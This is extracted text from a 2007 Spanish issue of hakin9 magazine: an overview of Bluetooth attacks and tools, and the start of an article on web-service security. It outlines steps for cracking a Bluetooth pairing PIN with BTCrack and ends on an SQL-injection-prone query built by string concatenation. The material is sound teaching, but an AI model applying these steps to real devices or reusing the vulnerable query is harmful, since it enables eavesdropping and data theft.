Teléfono ............................................................................................ Fax ....................................................................................................

E-mail ................................................................................................ Suscripción a partir del N° ..............................................................

Precio de suscripción anual de hakin9: 69 €

Realizo el pago con: □ tarjeta de crédito (EuroCard/MasterCard/Visa/American Express) nO CVC Code Válida hasta □ transferencia bancaria a BANCO SANTANDER CENTRAL HISPANO Número de la cuenta bancaria: 0049-1555-11-221-0160876 IBAN: ES33 0049 1555 1122 1016 0876 código SWIFT del banco (BIC): BSCHESMM Fecha y firma obligatorias:

www.hakin9.org/es www.buyitpress.com

Page 24: Revista Hakin9 n23 04-2007 ES

www.hakin9.org24

Ataque

El Estándar Bluetooth, nacido en 1994 y formalizado en 1998 por el Bluetoo-th-SIG (Special Interest Group), es

una tecnología inalámbrica de bajo coste, que opera en la banda no licenciada de 2.4Ghz de frecuencia (la misma banda que utilizan algunos estándares de la tecnología 802.11). Básicamente posee cuatro canales, tres cana-les sincrónicos de voz (64 Kbps por canal) y un canal de datos asincrónicos. La velocidad de transmisión de los canales asincrónicos es de 723,2 Kbps mientras que la del canal asincró-nico es de 433,9 Kbps.

Existen hoy en día tres versiones de Blue-tooth:

• Bluetooth Protocolo V1.1 No provee compa-tibilidad para coexistir con 802.11,

• Bluetooth Protocolo V1.2 (2003) Data Rate 1Mbps,

• Bluetooth Protocolo V2.0 +EDR (Enhanced Data Rate) (2004) Data Rate 3Mbps.

Uno de los hechos que hacen que esta tecno-logía sea de bajo coste, es la potencia nece-saria para funcionar, tan sólo 0,1 vatios, que sin duda alguna reduce considerablemente el

consumo de los equipos y que además permite ser incorporada en los teléfonos móviles y las PDA sin que afecte en exceso al consumo de sus baterías.

La tecnología Bluetooth permite la comu-nicación inalámbrica, entre diferentes disposi-tivos que la incorporen sin necesidad de línea de vista y son el reemplazo esperado de la tec-nología infrarroja. Sin embargo, la frecuencia en la que opera (2.4 Ghz banda no licenciada),

Bluetooth – La Amenaza Azul

Ezequiel Martín Sallis

Grado de dificultad

El Estándar Bluetooth, nacido en 1994 y formalizado en 1998 por el Bluetooth-SIG (Special Interest Group). La tecnología Bluetooth permite la comunicación inalámbrica, entre diferentes dispositivos que la incorporen sin necesidad de línea de vista y son el reemplazo esperado de la tecnología infrarroja.

En este artículo aprenderás...• Qué es Bluetooth,• Cómo funciona esta Tecnología,• Cuáles son sus aplicaciones más habituales,• Cuáles son los riesgos,• Cuáles son los ataques mas comunes,• Algunas herramientas disponibles.

Lo que deberías saber...• Nociones Básicas de Comunicaciones Inalám-

bricas,• Nociones Básicas sobre la tecnología Blue-

tooth.

Page 25: Revista Hakin9 n23 04-2007 ES

Bluetooth – La Amenaza Azul

www.hakin9.org 25

debió enfrentarse al temor elemen-tal de cualquier comunicación ina-lámbrica, la interferencia, y a fin de superarla se implementaron las si-guientes características:

• Frequency Hoping: Patrón de saltos predefinido,

• Saltos de 1 Mhz sobre 79 fre-cuencias diferentes entre 2.402 GHz y 2.480 Ghhz,

• Saltos entre frecuencias más rápidos que en otras tecnologías inalámbricas (1600 Saltos por segundo).

Este punto a su vez incorpora, una medida importante desde el punto de vista de la seguridad, ya que para poder monitorear el tráfico de una comunicación, debemos formar necesariamente parte de la misma, de lo contrario la única alternativa viable es la de adquirir costosos equipos que puedan monitorear trá-fico, sin la necesidad de ser parte de la conexión, algo viable solo para unos pocos adinerados.

Bluetooth STACKLa pila del protocolo Bluetooth está conformada de la siguiente manera (Tabla 1).

RedesCuando se conectan más de un dis-positivo BT compartiendo un mismo canal de comunicación forman una red denominada Piconet. Dichas redes están compuestas por un dispositivo Master quien impone la frecuencia de saltos para la Piconet, y todos los demás dispositivos son los denominados Slaves (esclavos). Las Piconet solo pueden aceptar hasta 7 dispositivos Slaves conec-tados al mismo tiempo, sin embar-

go, soportan hasta 200 dispositivos pasivos.

Los dispositivos esclavos pueden a su vez estar interconectados a di-ferentes Piconet, formando lo que se denomina una Scatternet, pero esta característica no se aplica al dispo-sitivo Master ya que el mismo solo puede estar en una Piconet.

SeguridadLos dispositivos con Bluetooth tie-nen básicamente dos estados o mo-dos posibles:

• Modo Descubrimiento,• Modo No Descubrimiento.

Cabe mencionar que si algún dis-positivo se encuentra en modo No Descubrimiento, igualmente puede ser mapeado siempre y cuando el

atacante conozca la Mac Address (BD_ADDR).

Básicamente los modelos de Seguridad de los dispositivos Blue-tooth se clasifican en tres modos primarios:

Modo 1: Sin seguridad (Modo Default)Esencialmente, los mecanismos de autentificación y cifrado están des-habilitados.

Modo 2: Aplicación/ Nivel ServicioOcurre en la capa L2CAP, nivel de servicios. Primero se establece un canal entre el nivel LM y el de L2CAP, inicializando los parámetros de seguridad. Como característica, el acceso a servicios y dispositivos es controlado por un Gestor de

En la Red• www.bluetooth.org,• www.trifinite.org,• www.nruns.com,• http://gospel.endorasoft.es,• http://student.vub.ac.be/~sijansse/

2e%20lic/BT/Tools/Tools.pdf.

Tabla 1. La pila del protocolo Bluetooth está conformada de la siguiente manera:

Radio Layer Es la capa mas baja, define las característi-cas de la transmisión, cada dispositivo esta clasificado en tres clases diferentes:• Clase 1 100 Metros Aproximadamente• Clase 2 10 Metros Aproximadamente• Clase 3 1 Metro Aproximadamente

Baseband Layer Es la capa física, provee corrección de erro-res y características de seguridad, a través de la encriptación de datos, también admi-nistra los saltos de frecuencia y los datos contenidos en la cabecera del paquete

Link Manager Protocol (LMP)

Es el contenedor de aproximadamente 20 PDU Protocol Data Units, estas unidades son enviadas desde un dispositivo al otro, algunas de las más utilizadas son:• Power Control• Autentificación• Calidad de Servicio (QOS)

Host Controller Interface Envía comandos a las dos capas inferiores, permitiendo una vía para la utilización, de las bondades de Bluetooth

The Logical Link Control and Adaptation Protocol (L2CAP)

Controla el link entre dos dispositivos, y además es la encargada de proveer los servicios a los mismos

Cable Replacement Pro-tocol (RFCOMM)

Es el protocolo de transporte, envía la señal montada sobre L2CAP

Service Discovery Proto-col (SDP)

Busca otros dispositivos Bluetooth disponi-bles y le provee la capacidad de establecer una conexión con los mismos, se comunica directamente con la capa de L2CAP

Page 26: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Ataque

26

Seguridad, por lo cual variando las políticas de seguridad y los niveles de confianza se pueden gestionar los accesos de aplicaciones con diferentes requerimientos de seguri-dad que operen en paralelo. Otra ca-racterística importante de este modo es que no hay ninguna codificación adicional de PIN o claves.

Modo 3: Autentificación vía PIN/ Seguridad a nivel MAC/ EncriptaciónOcurre a nivel de Link y todas las rutinas se corren internamente en el chip BlueTooth por lo que nada se transmite en texto plano. A diferen-cia del Modo 2, los procedimientos de seguridad se inician antes de establecer algún canal y el cifrado se basa en la autentificación PIN y seguridad MAC. Básicamente, com-parte una clave de enlace (clave de link) secreta entre dos dispositivos. Para generar esta clave, se usa un procedimiento de paring cuando los dos dispositivos se comunican por primera vez:

Proceso de ParingPara comprender el proceso de Paring o Emparejamiento, debemos aclarar que por defecto, la comuni-cación Bluetooth no se valida, de manera tal que cualquier dispositivo puede o podría hablar con cualquier otro. Un dispositivo Bluetooth se autentifica con otro si se requiere utilizar un determinado servicio (por ejemplo para el servicio de marca-ción por modem). Como ya mencio-namos, la forma de autentificarse es mediante códigos PIN (cadena ASCII de hasta 16 caracteres de longitud). Tanto el usuario del dis-positivo cliente como así también el proveedor del servicio, debe in-troducir el código PIN, obviamente, en ambos dispositivos el código ingresado debe ser exactamente el mismo. Al finalizar este proceso correctamente, ambos dispositivos generan una clave de enlace la cual se puede almacenar en el propio dispositivo o en un dispositivo de al-macenamiento externo. Dicha clave será utilizada la siguiente vez que

se comuniquen ambos dispositivos sin la necesidad de la intervención de los usuarios para que coloquen nuevamente sus contraseñas. Si alguno de los dos dispositivos pier-de la clave, se debe a realizar todo el proceso nuevamente. Todo este proceso es conocido como empare-jamiento o Paring.

Riesgos y Ataques en la tecnología BluetoothEs muy común encontrarse en los archivos almacenados de las PDA y en los móviles, los usuarios y las contraseñas de los PC y hasta de los servidores que para no dejarlos anotados en un papel lo anotan en sus dispositivos móviles.

Los lugares de mayor riesgo o donde es fácilmente posible obte-ner información como la mencionada anteriormente, son lugares públicos como por ejemplo:

• En el cine,• En una plaza con mucha gente,• En una biblioteca,• En un centro comercial o en un

bar,• En un campo de fútbol,• En alguna tienda de telefonía,• En el tren – autobús.

Según estadísticas los usuarios sueles utilizar los dispositivos como pda o teléfonos móviles para lo si-guiente:

• 85% Utilizan estos dispositivos para almacenar el día a día del negocio,

• 85% Los utiliza para almacenar contactos y direcciones relacio-nadas con el negocio,

• 33% Los utiliza para almacenar PINs y Passwords,

• 32% Para recibir y enviar correo,• 25% Para llevar el detalle de sus

cuentas bancarias,• 25% Para almacenar información

corporativa,• Fuente: Pointsec Mobile Techno-

logies.

Como podemos ver la información comprometida, puede o no ser de

carácter corporativo, pero puede brindar al atacante a obtener datos que permitan desarrollar luego una estrategia de ataque más efectiva.

Desde principios de 2003, co-menzaron a hacerse publicas, algu-nas debilidades y vulnerabilidades que afectaban directamente a esta tecnología.

La primera de ellas, fue descu-bierta por la gente de Atstake, y fue denominada War Nibling, y permite descubrir todos los dispositivos que estén en el alcance del atacante estando estos o no en modo descu-brimiento.

Después y de la mano de Adam Laurie y la gente del grupo Trifinite, fueron descubiertas las siguientes técnicas:

Algunas HerramientasBtbrowser (http://www.benhui.net/bluetooth/btbrowser.html):

• Permite descubrir dispositivos BT,• Permite conocer las especificacio-

nes técnicas de los mismos,• Permite ver los servicios disponi-

bles por este,• Aplicación en Java soportada por

varios teléfonos móviles.

Bthdisc (www.trifinite.org):

• Permite descubrir dispositivos BT,• Informa Clase y Dirección Mac

Address.

Bt_Audit: Scanner con dos funcionalida-des (http://www.betaversion.net/btdsd/):

• Scanner para L2CAP• Scanner RFCOMM

Plataforma Operativa: LinuxSniffing Local:

• Hcidump

Piconet Sniffing:

• Hardware o firmware especial.

Air Sniffing:

• Frontline (http://www.fte.com/),

Page 27: Revista Hakin9 n23 04-2007 ES

Bluetooth – La Amenaza Azul

www.hakin9.org 27

BluePrintingEs una técnica de Fingerprinting pe-ro de dispositivos Bluetooth, permite saber

• Fabricante del dispositivo,• Modelo del dispositivo (solo algu-

nas veces).

Se basa en la dirección Mac Address del dispositivo, está compuesta por 6 bytes, los primeros 3 indican el fabri-cante y los restantes el modelo

Las herramientas para estos ata-ques buscan dispositivos que se en-cuentren en Modo Descubrimien-to, toma las direcciones Mac, y la

compara contra la base de firmas que poseen determinando así el Fa-bricante del dispositivo y su modelo. Para el caso de los dispositivos que no se encuentren en Modo Des-cubrimiento, existen herramientas que se basan en ataques de Brute Force.

BlueBugEs una vulnerabilidad que fue en-contrada en varios teléfonos móviles con interfaz Bluetooth

Permite enviar comandos AT al móvil, a través de un canal encubier-to de la tecnología Bluetooth, per-mitiendo al atacante:

• Extraer del móvil la agenda tele-fónica y calendario entre otros,

• Modificar o Borrar entradas en el calendario, o en los contactos telefónicos,

• Enviar un mensaje SMS desde el móvil comprometido,

• Provocar que el móvil comprome-tido, realice llamadas telefónicas a los números que el atacante desee.

BlueSnarfing y Long Distance SnarfEste es el ataque que se aprovecha del bluebug, y básicamente permite, extraer información de un móvil, en vez de colocarla, varios equipos son vulnerables a este ataque (Nokia 6310,6310i entre otros).

En agosto de 2004, lograron llegar más allá de los limites de al-cance de un dispositivo clase uno, logrando extraer y modificar la agen-da telefónica y el calendario de un teléfono móvil a una distancia de 1,78 Km. Utilizando una Portatil bajo Linux (Con todas las librerías de Bluetooth), con un adaptador USB Bluetooth modificado (Clase 1) y una antena direccional cuyo objetivo era un Móvil Nokia 6310 Dispositivo (Clase 2).

BlueSmackEs un ataque de Denegación de ser-vicio que aprovecha las debilidades en la implementación de Bluetooth, mas puntualmente en L2CAP. Per-mite mal formar un requerimiento causando que el dispositivo se cuel-gue o se reinicie sin necesidad de establecer un conexión previa.

Es similar al conocido ping de la muerte, l2ping es una funcionalidad que está presente en las librerías Bluez, de Linux, y permiten a un ata-cante especificar el tamaño del pa-quete a enviar.

BlueBumpSu fin es robar la link-key del telé-fono de la víctima, para establecer posteriores conexiones, sin que este lo note y aparentando ser un dispo-sitivo confiable. Este tipo de ataque incorpora técnicas de Ingeniería so-

Algunas HerramientasHerramienta de auditoría para teléfonos móviles – BLOOVER:

• Actualmente por la versión 2, es un aplicación realizada en java, que permite reali-zar, el ataque de Bluesnarf, directamente desde un móvil, con tecnología Bluetooth y soporte para aplicaciones Java J2ME MIDP 2.0 VM y JSR-Bluetooth API (Down-load: http://trifinite.org/trifinite_downloads.html).

Funcionalidades:

• Permite modificar y leer entradas en la agenda telefónica,• Permite leer los mensajes de texto, almacenados en el teléfono,• Permite introducir en el móvil comprometido, un numero telefónico para el redirec-

cionamiento de llamadas,• Ejecutar el Hello Moto Attack,• Ejecutar Bluejacking,• Enviar Objetos malformados a través de OBEX.

BTCrack (www.enruns.com):

• Herramienta recientemente presentada el Hack.Lu 2006,• Permite romper Claves y Llaves de enlace (PIN y Link Key),• Previamente requiere como entrada, los datos sniffeados durante el proceso

de paring.

Algunas Debilidades Generales:

• El usuario suele relacionar el concepto de PIN con una cadena de caracteres corta (4), la tecnología lo permite

• Los ataques de ingeniería social, pueden preceder a los ataques antes descritos y facilitar aun mas la tarea del atacante

Ej: Nombre del Dispositivo Para continuar ingrese 1234:

• El algoritmo utilizado para brindar seguridad es Simétrico (misma clave para encrip-tar que para desencriptar) y no existe un canal seguro de transmisión, el problema se potenciaría en implementaciones grandes de BT.

• NO existe autentificación de Usuarios,• NO existen limites para el reintento de ingreso de claves,• SIN paring previo algunos servicios e información son visibles,• Covert Channels,• Errores de Programación e Implementación.

Page 28: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Ataque

28

cial pero fundamentalmente se basa en el beneficio de poder regenerar la link-key mientras la conexión esta establecida (Ver mas en Cracking BT PIN y la reciente herramienta BTCrack).

Hello MotoEs una debilidad en exclusiva de al-gunos dispositivos Motorola.

La debilidad radica en una mala implementación de la relación de con-fianza que se establece en el proce-so de paring.

Permite establecer la relación de confianza, entre el dispositivo del atacante y la víctima, si este primero intenta establecer una conexión al OPP (Obex Push Profile) y luego la cancela, el dispositivo del atacante será agregado a la lista de dispositi-vos confiable de la víctima.

Todo esto sucede sin que medie ninguna interacción por parte de la víctima.

BlueSpamEs un ataque basado en la búsque-da de dispositivos en Modo Des-cubrimiento, a los cuales luego les enviará mensajes arbitrarios crea-dos por el atacante. Este tipo de ataques no requiere la interacción por parte de la víctima para recibir el spam.

BlueJackingEs el ataque quizás más inofensivo pero desde el cual se han sentado muchas bases para nuevos ata-ques. Consiste en conectarse a un dispositivo Bluetooth y colocarle imágenes, mensajes o contactos al dueño del dispositivo. También es utilizado para realizar ingeniería so-cial y utilizarla en complemento con otro tipo de ataques que requie-ran que los equipos estén apareja-dos.

Cracking BT PIN y la reciente herramienta BTCrack (www.enruns.com)Tal cual sucedió, con WEP en 802.11, la implementación de los al-goritmos de encriptación y seguridad

sobre Bluetooth, poseen importantes debilidades.

En el caso de Bluetooth, este contiene varios elementos, como el manejo de llaves de encriptación y autentificación basada en un PIN, los cuales son utilizados en el proce-so de Paring y la utilización de estos reside en la decisión del usuario.

El algoritmo que brinda seguri-dad a estas tecnologías es Safer+, este es un algoritmo simétrico de en-criptación por bloque, que permite la utilización de llaves de 128, 192 y 256,

para el caso el algoritmo utilizado es Safer+ de 128bits.

Haciendo un poco de historia acerca de las investigaciones lleva-das a cabo sobre este aspecto, en el 2003 Ollie Whitehouse comenzó a hablar de algunas debilidades en el proceso de paring que podrían permitir romper el PIN, mas ade-lante algunos investigadores, hi-cieron mejoras sobre esta técnica y encontraron la manera de forzar a un dispositivo a que reinicie el proceso de paring, por ultimo en el

Figura 2. Página oficial de Bluetooth

Figura 1. Página oficial de Nruns

Page 29: Revista Hakin9 n23 04-2007 ES

Bluetooth – La Amenaza Azul

www.hakin9.org 29

2006 Thierry Zoller llevo a cabo la implementación de una herramien-ta para Win32 que llevaría todo lo anterior a la practica (BTCrack) y además realizo otra propuesta diferente a la de Shaked y Wool, para forzar el proceso de re-empa-rejamiento.

Para poner esto en palabras simp-les, alguna de las cosas que podrían suceder seria la siguiente:

EscenarioDos dispositivos, Un Master y un Sla-ve, realizar exitosamente el proceso de emparejamiento, autenticando esto mediante un PIN.

Primer PasoEl atacante debería en primer lugar conocer las direcciones MAC de ambos dispositivos, esto no seria un problema para el atacante ya que como se menciono más arriba existen técnicas y herramientas dis-ponibles.

Segundo PasoEl atacante debería modificar la di-rección MAC de su dispositivo por la del dispositivo Slave.

Tercer PasoEl atacante ahora debería intentar iniciar con el Master el proceso de paring, al mismo tiempo este debería estar monitoreando y capturando la información transmitida.

Cuarto PasoTomar el output de la información capturada, durante el proceso de em-parejamiento y dárselo como input al BTCrack, debido a las debilidades arriba mencionadas, la herramienta se encargara rápidamente de infor-marle al atacante cual es el PIN.

En base a los estudio realizados por Thierry Zoller en un equipo Dual-Core P4 de 2Ghz, el tiempo que le llevaría a la herramienta romper el PIN es:

• PIN de 4 Digitos: 0.035 Segun-dos,

• PIN de 5 Digitos: 0.108 Segun-dos,

• PIN de 6 Digitos 4.321 Segun-dos,

• PIN de 9 Digitos 1318 Segundos.

Es por esto que entre otras recomen-daciones el SIG recomienda realizar el proceso de emparejamiento en un lugar seguro.

ConclusiónLas nuevas tecnologías, traen aso-ciadas cientos de riesgos y amena-zas para las que muchas veces las empresas no están preparadas, y lo que es peor, a veces ni siquiera es-tán informadas sobre estos peli-gros.

Muchas corporaciones, dan a sus directivos estos dispositivos, sin tener en cuenta los riesgos aso-ciados a los que se expone la in-formación contenida en ellos, es por esto que hay que crear la con-ciencia necesaria y tomar medidas que permitan mitigar los riesgos asociados.

La creatividad, es una de las he-rramientas de ataque, contra la que muy pocos desarrollan contramedi-das l

Sobre el AutorEzequiel Martín Sallis CISSP/CEH/CCNA/NSP. Desarrollo su carrera en INFO-SEC, con base en el aprendizaje y actualización continua, ha trabajado durante largo tiempo en las consultoras mas prestigiosas, prestando servicios para empresas del ámbito Gubernamental, Publico y Privado tanto a nivel nacional como internacional.

Actualmente es Emprendedor y Director de ROOT-SECURE SRL, una Consultora especializada en Seguridad de la Información con bases en la Argentina, y con amplia experiencia en este campo.

Ha trabajado fuertemente, en tareas relacionadas con INFOSEC, entre las que se pueden mencionar, Penetration Test, Vulnerability Assesment, Hardening de Pla-taformas, Asesoramiento con la Norma ISO 17799:2005, Management de Proyectos y otros.

Es instructor de gran cantidad de capacitaciones tanto a nivel nacional, como a nivel internacional, entre las que se pueden mencionar CISSP, Ethical Hacking y otras. Ha participado como Orador en gran cantidad de seminarios y eventos inter-nacionales.

Figura 3. Página oficial de Trifinite

Page 30: Revista Hakin9 n23 04-2007 ES

www.hakin9.org30

Defensa

Tecnologías como RPC, RMI, CORBA, etc. fueron surgiendo para cubrir estas carencias pero presentaban tantas li-

mitaciones como ventajas. Los servicios Web proporcionan un modelo distinto en el desa-rrollo de aplicaciones distribuidas ya que ofre-cen la capacidad de acceder a información y funciones heterogéneas de forma estándar a través de una red, como pueda ser Internet.

El surgimiento de los servicios web ha sido posible en gran medida gracias al surgimientoy aceptación del XML como metaformato para el intercambio de información. Gracias a XMLse han podido desarrollar una serie de pro-tocolos y estándares que forman la base de los servicios web: SOAP/XML-RPC para el intercambio de datos entre aplicaciones, WS-DL como lenguaje de descripción de servicios y UDDI como registro basado en XML para la descripción, descubrimiento e integración. Todos estos protocolos se aglutinan dentro de SOA (Arquitectura Orientada a Servicios), que permite que varias aplicaciones puedan inter-cambiar información y funcionalidad a pesar de estar en ubicaciones diferentes, estar en má-quinas de diversas arquitecturas y programa-das en diferentes lenguajes de programación.

Los servicios Web proporcionan ciertas ventajas para el diseño y posterior desarrollo de aplicaciones:

• Ofrecen transparencia de uso, ya que se basan en protocolos muy aceptados (XML) y dan la posibilidad de intercomunicar sistemas basados en arquitecturas y pro-gramados en lenguajes completamente he-terogéneos. Esto es: independencia de la máquina y del lenguaje de programación.

• Al tener como base el protocolo HTTP, la comunicación se da sin ningún tipo de pro-

Web Services Security

José Carlos Cortizo Pérez, Diego Expósito, Diego Peces

Grado de dificultad

El gran crecimiento del comercio electrónico y del B2B (Business to Business) ha originado la necesidad de nuevas tecnologías que permitan el intercambio de información y la reutilización de servicios en distintos sistemas.

En este artículo aprenderás...• Cómo protegerse de los problemas básicos de

seguridad relacionados con los servicios web,• Lo que deberías tener en cuenta a la hora de

desarrollar tu propio servicio.

Lo que deberías saber...• Ciertos conocimientos de servicios web (al me-

nos saber lo que es un servicio web y lo que es la arquitectura SOA).

Page 31: Revista Hakin9 n23 04-2007 ES

Web Services Security

www.hakin9.org 31

blemas ya que los firewall suelen tener el puerto http habilitado. Con otras tecnologías anteriores (rpc, corba) había que tener cui-dado con las configuraciones de los firewalls.

• Ofrecen la potencia de poder disponer de funcionalidades e in-formación que ofrecen los distin-tos servicios Web que estén físi-camente ubicados en diferentes lugares geográficos. Con esto se obtiene como resultado un sistema global que aúna las ca-pacidades de todos lo servicios Web que invoca.

Todas estas ventajas se pueden re-sumir en pocas palabras: Los servi-cios Web nos ofrecen transparencia, sencillez y compatibilidad y dotan al nuevo sistema de funcionalidades correctas de forma rápida y simple. Para tratar de comprender de forma definitiva todo lo comentado ante-riormente vamos a ver un ejemplo típico de uso de servicios Web en el ámbito comercial o de negocio (Figura 1).

Imaginemos una típica agen-cia de viaje. Entre sus ofertas se ofrecen paquetes de vacaciones personalizables. Dentro de cada paquete de viaje se distingue un destino, el o los hoteles en los que hospedarse, los vuelos de avión y demás particularidades del viaje. Al ser personalizables, en cada uno de estos paquetes se puede elegir ciertos detalles como pueden ser el hotel, los vuelos, el destino, la duración, etc. Manejar toda esta in-formación y gestionar los cientos de combinaciones posibles, así como asegurar al cliente la oficialidad de sus reservas en hoteles y vuelos para las fechas exactas se torna en una tarea demasiado compleja, por no decir imposible, para la agencia de viajes. Para coordinar todos estos eventos la agencia de viajes deberá ponerse en contacto con cada com-pañía de vuelo para averiguar si es posible y quedan plazas para volar el día elegido al destino de vacaciones. Tendrá que ponerse en contacto con la administración de los hoteles y re-

servar si hubiera plaza para el perio-do determinado. Realizar esta tarea manualmente tiene un alto coste en tiempo y en recursos, ya que obliga a la agencia a tener un empleado realizando todas las gestiones ma-nualmente. Además las posibilidades de que alguna reserva sea negativa y sea necesario replanificar todo el viaje son muy grandes, con lo cual el tiempo necesario para organizar to-do el viaje y la estancia puede crecer aun más. Está claro que el cliente ni puede, ni quiere, esperar tanto para recibir una contestación afirmativa o negativa sobre la disponibilidad de su viaje.

¿Cómo obtener una solución automatizada para realizar todo es-te proceso? Las compañías aéreas ofertan desde hace tiempo servicios de consulta y reserva online para su acceso desde operadores turísticos (AMADEUS). Por lo tanto, para con-sultar la disponibilidad de vuelos ba-staría con acceder a los servicios web de las compañías aéreas ofre-ciéndonos información para los vue-los que nos interesen. Para el tema de los hoteles pasa algo parecido. Así pues, automatizar el proceso global no parece ya una tarea tan complicada ya que bastaría con realizar un programa para satisfacer las restricciones marcadas por el usuario que hiciera uso de los servi-cios web de consulta y reservas que nos ofertan las distintas compañías implicadas en el proceso. Además el utilizar servicios web en lugar de otras tecnologías nos asegura la co-rrecta interoperabilidad a la hora de acceder a los servicios e información remota de los hoteles y compañías aéreas.

Interoperabilidad y SOAHemos dado mucha importancia en el apartado anterior al concepto de Heterogeneidad que se permite en-tre los sistemas participantes de una transacción gracias a los Servicios Web. SOA (Arquitectura Orientada a Servicios) es la arquitectura que hace eso posible. En este apartado nos introduciremos en esta arqui-tectura.

La arquitectura SOA se com-pone de nodos. Los nodos de una red ofecen a otros nodos o usuarios de la red sus recursos en forma de servicios independientes, a los que se accederá de forma estándar. Es decir, la idea radica en crear servi-cios independientes que cada nodo ofrece al resto de la red, de modo que cualquier nodo con los permisos adecuados podrá usar uno o varios servicios con la finalidad de dar solu-ción a un problema mayor.

Después de todo lo visto es fácil ver la arquitectura SOA como un nivel de abstracción superior a la orientación a objetos pues en lugar de objetos que proporcionan un cierto comportamiento, tenemos servicios. Pero ya hemos descu-bierto como SOA es realmente una arquitectura distribuida gracias a pro-tocolos como SOAP y WSDL. Otra forma de acceder remotamente a fun-cionalidad remota (anterior a SOA) son los RPC (llamada a procedimien-tos remotos). Este protocolo posi-bilita ejecutar servicios o código de un programa en otra máquina de forma remota, siendo para la pri-mera transparente la comunicación entre ambos nodos, ya que las RPC encapsulan y ocultan parte del pro-ceso. Básicamente, en los RPC es el cliente el que inicia el proceso, dicho nodo solicita al servidor que ejecute cierta funcionalidad. Éste, cuando ha terminado su proceso, le envía el resultado de dicho servicio al cliente.

Los servicios web surgen como mejora del RPC al estandarizar el protocolo interno de comunicación. De todas formas los servicios web han ido evolucionando desde sus inicios, sufriendo una serie de me-joras y de actualizaciones que se traducen en tres generaciones de servicios web.

La primera generación de ser-vicios web se basaba en la comu-nicación nodo a nodo. Un flujo de acciones podría ser el siguiente: Se lanza una petición de un servicio a un servidor SOAP. Dicho servidor SOAP se encarga de invocar el ob-jeto o el proceso determinado que le

Page 32: Revista Hakin9 n23 04-2007 ES

www.hakin9.org

Defensa

32

ofrece dicho servicio. Se realiza el proceso interno necesario (acceso a bases de datos, lectura de fiche-ros, etc.) para la consecución del servicio. El servidor SOAP detecta el fin del proceso y devuelve la respuesta obtenida al Nodo que rea-lizó la petición (a través de http). Un proceso, como se puede observar, bastante simple.

En la segunda generación se da la situación de que el Nodo que realiza la petición no se la realiza directamente al servidor SOAP que mantiene el servicio. Realiza la petición a un tercer servidor SOAP que será el que realice la verda-dera petición al servicio oportuno. Este nodo intermedio concentra todas las peticiones de los distintos clientes y concentra en él todas las tareas necesarias de comunicación con el nodo del servicio. En esta generación se encapsulan compor-tamientos comunes de los clientes en un nuevo nodo que se encarga de distribuir posteriormente las partes no comunes a los distintos nodos de servicio.

El problema de la 2a generación surge de los procesos demasiado complejos que se pueden generar al realizar diversas peticiones. En nuestro ejemplo del operador de viajes, para satisfacer los deseos de nuestro cliente deberíamos realizar

multitud de peticiones a distintos servicios web. Sin embargo puede suceder que uno de los servicios Web nos devuelva una respuesta negativa, es decir, que nuestro hotel no ha podido ser reservado por falta de habitaciones libres (por ejemplo). En este caso sería nece-sario deshacer todas las reservas de vuelos, vehículos de alquiler, etc. La tercera generación de servicios web soluciona esto de modo que se agrupan todas las peticiones en una transacción. Esta transacción será positiva en caso de que logren satisfacer todas las restricciones necesarias (por ejemplo todas las reservas necesarias para un cliente determinado) y será negativa en ca-so contrario, ya que una transacción solo tiene sentido si se cumple en su totalidad (si no tengo el billete de avión hasta mi destino, el que tenga hoteles libres me da absolutamente lo mismo). Hasta que no se consiga satisfacer todas las peticiones el resto, aunque estén satisfechas, se mantendrán en espera hasta que todas tengan éxito.

¿Es SOA inseguro?Uno de los puntos fuertes de SOA en cuánto a interoperabilidad es su habilidad de atravesar firewalls, ya que la comunicación se realiza a tra-vés del puerto 80 que habitualmente

no está protegido. Sin embargo este punto fuerte para la interoperabi-lidad es visto como un punto muy débil en cuánto a seguridad por al-gunos gurús de la seguridad, ya que permite a SOA saltarse los firewalls (y en gran medida la seguridad). Otro punto oscuro es el tema de la autentificación, autorización y con-trol de acceso a servicios web en función que SOA en sus primeras definiciones del estándar no ofrecía de por si.

Ataques típicosAnte todo hay que tener en cuenta que, cuando estamos creando servi-cios web, lo que estamos haciendo es brindar puertas de acceso desde el exterior a nuestros programas (sistema), por lo que hay que tener muy en cuenta quiénes van a poder acceder a cada funcionalidad y el que no existan agujeros de seguri-dad en el código desarrollado. De todas formas los ataques más típi-cos son:

• Ataque de denegación de servi-cio: Un ataque de DOS a un ser-vicio web es idealmente simple. Lo que se trata es de atacar al servidor de aplicaciones o al par-seador XML, no a la lógica del programa, lo cuál sería más com-plicado. Estos ataques tratan de consumir mucho tiempo de CPU, consumir mucha memoria y/o colapsar el acceso a la base de datos. Para el tema del consumo de mucha cpu basta con tener en cuenta que parsear un XML correctamente no es una tarea trivial, y menos cuándo se tienen estructuras muy profundas y re-ferencias a otros documentos que hacen que se produzcan es-peras debido a la latencia de la red durante el parseo. En cuánto a consumir mucha memoria hay que tener en cuenta que a pesar que consumir toda la memoria de un sistema en producción sea una tarea prácticamente impo-sible, la gestión de la memoria (sobre todo en aquellos servicios web implementados en lengua-Figura 1. Un ejemplo de uso de los servicios Web en el ámbio comercial

Hotel 2

Cliente 1

Cliente 2

CompańíasAéreas

Hotel 1

Agencia Viajes

Page 33: Revista Hakin9 n23 04-2007 ES

Web Services Security

www.hakin9.org 33

jes que, como Java, utilizan recolector de basura) puede hacer que el sistema se vuelva sumamente lento. Para colapsar las conexiones a Bases de Da-tos nos centramos en el hecho que mayoría de las aplicaciones utilizan colas de conexiones de tamaño fijo, por lo que si se ge-neran tantas peticiones a la base de datos como para llenar la cola se puede llevar a la aplicación a su muerte. Para esto haría fal-ta encontrar una petición SOAP que no requiera autorización pe-ro que resulte en una petición fuerte a la base de datos (ejem-plo: autenticación inicial de un usuario).

• Interceptación y manipulación de mensajes: Al ser mensajes en XML resulta bastante fácil descifrar y manipular cualquier mensaje (ataques de reescritura de XML).

• Peticiones de cliente falsificadas.• Respuestas del servidor falsifica-

das.• Intentos de leer/escribir datos en

el servidor (sistema de ficheros/base de datos): Por lo general vienen de la mano de ataques por parámetros y SQL-injection, que permite que se realicen consultas o modificaciones (no previstas) en la base de datos debido al sustituir un parámetro de entrada por ese parámetro y alguna otra instrucción sql que permita obtener el resultado re-querido. Valga como ejemplo untípico método de validación de usuario. Este método recibe co-mo parámetro en nombre de usu-ario y para construir la consulta ejecuta el siguiente código:

$consulta = “SELECT * FROM usuarios

WHERE nombre=’” . nombreUsuario;

